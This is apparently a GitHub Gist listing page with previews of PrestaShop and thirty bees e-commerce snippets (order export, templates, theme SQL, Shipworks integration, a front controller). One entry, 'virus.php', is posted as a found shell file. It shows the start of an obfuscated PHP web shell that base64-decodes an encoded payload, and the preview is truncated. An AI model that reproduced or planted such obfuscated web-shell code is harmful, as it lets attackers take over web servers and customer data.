Skip to content

Instantly share code, notes, and snippets.

View prestashop-orders.py
from __future__ import print_function
from prestapyt import PrestaShopWebServiceDict
from xml.etree import ElementTree
import sys
import json
if not sys.warnoptions:
import warnings
warnings.simplefilter("ignore")
@Dh42
Dh42 / breadcrumb.tpl
Created Feb 25, 2020
PrestaShop bread crumb
View breadcrumb.tpl
{*
* 2007-2015 PrestaShop
*
* NOTICE OF LICENSE
*
* This source file is subject to the Academic Free License (AFL 3.0)
* that is bundled with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://opensource.org/licenses/afl-3.0.php
* If you did not receive a copy of the license and are unable to
View theme.sql
SET NAMES 'utf8';
/* Values overriding module defaults, only. */
UPDATE `PREFIX_configuration` SET value = '1' WHERE name = 'MANUFACTURER_DISPLAY_FORM';
UPDATE `PREFIX_configuration` SET value = '1' WHERE name = 'SUPPLIER_DISPLAY_FORM';
UPDATE `PREFIX_configuration` SET value = '0_3|0_4' WHERE name = 'FOOTER_CMS';
UPDATE `PREFIX_configuration` SET value = '0_3|0_4' WHERE name = 'FOOTER_BLOCK_ACTIVATION';
UPDATE `PREFIX_configuration` SET value = 'CAT3,CAT8,CAT5,LNK1' WHERE name = 'MOD_BLOCKTOPMENU_ITEMS';
UPDATE `PREFIX_configuration` SET value = '0' WHERE name = 'MOD_BLOCKTOPMENU_SEARCH';
@Dh42
Dh42 / shipwork6.php
Created Feb 28, 2019
Shipworks adding tax
View shipwork6.php
<?php
/*
|
| This file and the source codes contained herein are the property
| of Interapptive, Inc. Use of this file is restricted to the specific
| terms and conditions in the License Agreement associated with this
| file. Distribution of this file or portions of this file for uses
| not covered by the License Agreement is not allowed without a written
| agreement signed by an officer of Interapptive, Inc.
|
View shipworks.php
<?php
/*
|
| This file and the source codes contained herein are the property
| of Interapptive, Inc. Use of this file is restricted to the specific
| terms and conditions in the License Agreement associated with this
| file. Distribution of this file or portions of this file for uses
| not covered by the License Agreement is not allowed without a written
| agreement signed by an officer of Interapptive, Inc.
|
View module.php
<?php
/**
* 2007-2016 PrestaShop
*
* thirty bees is an extension to the PrestaShop e-commerce software developed by PrestaShop SA
* Copyright (C) 2017-2018 thirty bees
*
* NOTICE OF LICENSE
*
* This source file is subject to the Open Software License (OSL 3.0)
View gist:09eb812b0c5d7f8d7cfdc1a8e3c28c98
<?php
/**
* 2017 Thirty Bees
* 2007-2016 PrestaShop
*
* NOTICE OF LICENSE
*
* This source file is subject to the Academic Free License (AFL 3.0)
* that is bundled with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
@Dh42
Dh42 / FrontController.php
Created Sep 27, 2018
thirty bees front controller using cloudflare geo-location
View FrontController.php
<?php
/**
* 2007-2016 PrestaShop.
*
* thirty bees is an extension to the PrestaShop e-commerce software developed by PrestaShop SA
* Copyright (C) 2017-2018 thirty bees
*
* NOTICE OF LICENSE
*
* This source file is subject to the Open Software License (OSL 3.0)
@Dh42
Dh42 / virus.php
Created Feb 23, 2018
a shell file i found
View virus.php
<?php $____=base64_decode('eJwMl2V/2+j2tb/l/8WhmXJTmCkFTUnMGDNIMsiSbRlkBrHMTHHAMYfTpGk7c87zAZ6+v1/s+7f3Wuta9fRqcawOrL2IDUIflbU/AuMXKcxtTccCdUnq7eA1iBJndqf96CxbX8G6JhiC0Zgs9C1cbh+frOpliJa40GdQ1MJjajCxLK9q7qLH5+tqQI+uSBc8TD7iRLcIR0MjNOsK219QArr9AXbeHNvJrzYX0aLi2xZx1pzYUeqzZ4cEQsovjVZPvVRp/oYgIyZXRkL2nyvDH0gkUAPfBuLn6CXDMsHjOKauMF650p7LkvGtbNZ1+MMpitwQj8/V5/Vbf8g0tHDzpMKitxt1urgnn7f9riIK1PBqSx95CL2WscwoiuiDT0rf5oTPLYR8qAsb5UrPow6PJRv7rInch+SYqdUIdWVr9tuLVgh/RKLVOI+fuy5emMoKGRuz5ck+Fb7QPgDJw6fIfBiNhHJ40Ps/k9d4Fb3BdFWX20Epst7SFjSX3EOB8tri3JqOt/lNgf4GFsuz4c5Vu5lhIlTQzVkSOwXN0jq3vYVZ2aih53esNCfP1ISDxDA13wvcjGfu5J/MVtTW3F+u/+ZTFyrz9J6e/Qbq5gVPr2TRHb4OXw56sJjY3HAKDvezz/1+GdnyznfKzXjsuLXVty3+wdHxVcRTbLnvwPDG+/mmXdbSUHQueCbOdt9FWT98mP328a8CTOoxefyoNb72aPtbnlyEHkxt4VkqvfpPlspeV7Eafe58Zw9F5YIudz3ygguUdcNnCzTsd9BgAWTunN973uz1AEWYXYE+a88GreuW+7JJwHO3geNpaOeJ9DaDvLysrsa3OSww3j34T1XgFnvgMAn9q/gNTrbuq0VQDNSS+hcI2D1bZCSFOKSBNel9bx8+FIrN3yf7rmAraiiU+bQtpF93R5lpDy5l9xXDWNQKN36vp8LURUOgyxH1Lc0Z1hUFjgiVjK/ODKVhwpGsBKj84U7gqMbRqcxuI
@Dh42
Dh42 / test.xml
Created Nov 18, 2017
test config
View test.xml
<?xml version="1.0" encoding="UTF-8"?>
<theme version="1.1.0" name="community-theme-default" directory="community-theme-default">
<author name="Gytis Škema &amp; Krystian Podemski" email="info@thirtybees.com" url="https://thirtybees.com"/>
<descriptions>
<description iso="en">Community theme is a theme developed and maintained by the thirty bees community.</description>
</descriptions>
<variations>
<variation name="community-theme-default" directory="community-theme-default" responsive="1"
default_left_column="1" default_right_column="0" product_per_page="12" from="1.6.1.3" to="1.6.1.6"/>
</variations>